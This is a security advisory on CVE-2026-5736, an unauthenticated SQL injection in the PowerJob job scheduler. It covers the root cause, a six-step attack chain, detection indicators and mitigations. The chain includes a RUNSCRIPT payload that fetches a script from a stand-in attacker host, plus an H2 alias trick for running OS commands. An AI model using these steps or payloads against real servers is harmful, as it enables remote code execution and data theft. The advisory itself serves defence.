CVE-2026-5736: 
Java vulnerability analysis and mitigation

CVE-2026-5736 is a SQL injection vulnerability in PowerJob, an open-source distributed job scheduling framework, affecting versions 5.1.0, 5.1.1, and 5.1.2. The flaw resides in the detailPlus endpoint of InstanceController.java, where the customQuery parameter is not properly sanitized before being concatenated into an H2 SQL query. Disclosed on April 7, 2026, the vulnerability can be exploited remotely without authentication. It carries a CVSS v3.1 base score of 7.3 (High) and a CVSS v4.0 base score of 6.9 (Medium) (Github Advisory, Feedly).

The root cause is improper neutralization of SQL special elements (CWE-89 / CWE-74) in InstanceController.java. The customQuery parameter is directly concatenated into an H2 SQL query in TaskDAOImpl.java as: String sql = "select * from task_info where " + query.getQueryCondition();. While a keyword blacklist exists (blocking DELETE, UPDATE, INSERT, etc.), H2-specific dangerous commands such as RUNSCRIPT, CALL, LINK, and SCRIPT were omitted, allowing attackers to load and execute remote SQL scripts. Compounding this, the /instance/detailPlus endpoint lacks the @ApiPermission annotation, meaning PowerJob's auth interceptor passes all requests to it without any authentication check (PowerJob Issue #1167, PowerJob PR #1166).

Successful exploitation allows an unauthenticated remote attacker to read and modify database contents, and — when chained with the OpenAPI authentication bypass and H2's RUNSCRIPT command — achieve full remote code execution (RCE) on the PowerJob worker node. This can result in complete compromise of the affected server, unauthorized access to sensitive job scheduling data, and potential lateral movement within the enterprise network. The availability of the PowerJob service and its underlying database may also be disrupted (PowerJob Issue #1167, Github Advisory).

A proof-of-concept attack chain was publicly documented in GitHub Issue #1167 on March 24, 2026, demonstrating unauthenticated RCE by combining three weaknesses: the unauthenticated OpenAPI, the missing @ApiPermission on detailPlus, and the incomplete SQL blacklist. No evidence of in-the-wild exploitation has been reported as of the time of writing. The EPSS score is approximately 0.033–0.048%, placing it in the lower percentiles for near-term exploitation probability. The vulnerability is not listed in the CISA KEV catalog, and no threat actor attribution has been identified (Github Advisory, Feedly).

1. Reconnaissance: Identify internet-facing PowerJob server instances (versions 5.1.0–5.1.2) using tools like Shodan or Censys, searching for the PowerJob web UI or API endpoints.
2. Enumerate valid App IDs: Send unauthenticated POST requests to /openApi/saveJob with incrementing appId values (1, 2, 3...) to identify valid applications, exploiting the default enableOpenApiAuth=false configuration.
3. Create a BROADCAST job: POST to /openApi/saveJob to create a job with executeType=BROADCAST, which ensures a HeavyTaskTracker (and thus CommonTaskTracker) is initialized on the worker — a prerequisite for the customQuery path to be reachable.
4. Trigger job execution: POST to /openApi/runJob to execute the created job, causing the worker to initialize a TaskTracker and begin processing. Use jobParams to control processor execution time, keeping the TaskTracker alive long enough to receive the payload.
5. Inject malicious SQL via detailPlus: POST to /instance/detailPlus (no authentication required) with a crafted customQuery payload such as 1=1; RUNSCRIPT FROM 'http://attacker.com/exp.sql';--. The server forwards this to the worker's H2 engine, which executes the remote script.
6. Achieve RCE via H2 RUNSCRIPT: The attacker-hosted exp.sql file contains H2-specific commands such as CREATE ALIAS EXEC AS $$ ... $$; CALL EXEC('cmd /c whoami');, resulting in arbitrary OS command execution on the worker node (PowerJob Issue #1167, PowerJob PR #1166).

• Network: Outbound HTTP/HTTPS requests from the PowerJob worker to unexpected external hosts (attacker-controlled servers hosting .sql files); unusual DNS lookups from the worker JVM process.
• Logs: PowerJob access logs showing unauthenticated POST requests to /instance/detailPlus with customQuery values containing semicolons, RUNSCRIPT, CALL, or URLs; H2 database logs showing execution of RUNSCRIPT FROM statements referencing external URLs.
• File System: Unexpected .sql files or scripts downloaded to the PowerJob worker's working directory; new JAR files or class files created in temp directories by the H2 engine.
• Process: Unusual child processes spawned by the PowerJob worker JVM (e.g., cmd.exe, /bin/sh, curl, wget, python) with no legitimate scheduling context; unexpected network connections from the Java process to external IPs on non-standard ports (PowerJob Issue #1167).

A community-submitted fix is available in Pull Request #1166, which adds the @ApiPermission(name = "Instance-DetailPlus", roleScope = RoleScope.APP, requiredPermission = Permission.READ) annotation to the getInstanceDetailPlus method and extends the SQL keyword blacklist to include RUNSCRIPT, CALL, LINK, and SCRIPT. As of the advisory publication date, the PowerJob maintainers had not yet merged the PR or released a patched version. Immediate mitigations include: (1) restricting network access to the PowerJob server to trusted hosts only via firewall rules; (2) enabling OpenAPI authentication by setting oms.auth.openapi.enable=true; (3) deploying a WAF with SQL injection detection rules targeting the /instance/detailPlus endpoint; and (4) monitoring application and database logs for anomalous RUNSCRIPT or CALL queries (PowerJob PR #1166, Github Advisory).

The vulnerability was reported by researcher jackieyaop via GitHub Issue #1167 on March 24, 2026, with a detailed technical write-up and a corresponding fix PR (#1166). GitHub Copilot's automated code review noted that the blacklist-based approach in the PR is still bypassable via keyword obfuscation (e.g., inserting SQL comments within keywords) and recommended switching to an allowlist or stricter WHERE-clause grammar validation. The PowerJob maintainers had not publicly responded to the issue or merged the fix as of the advisory date (PowerJob Issue #1167, PowerJob PR #1166).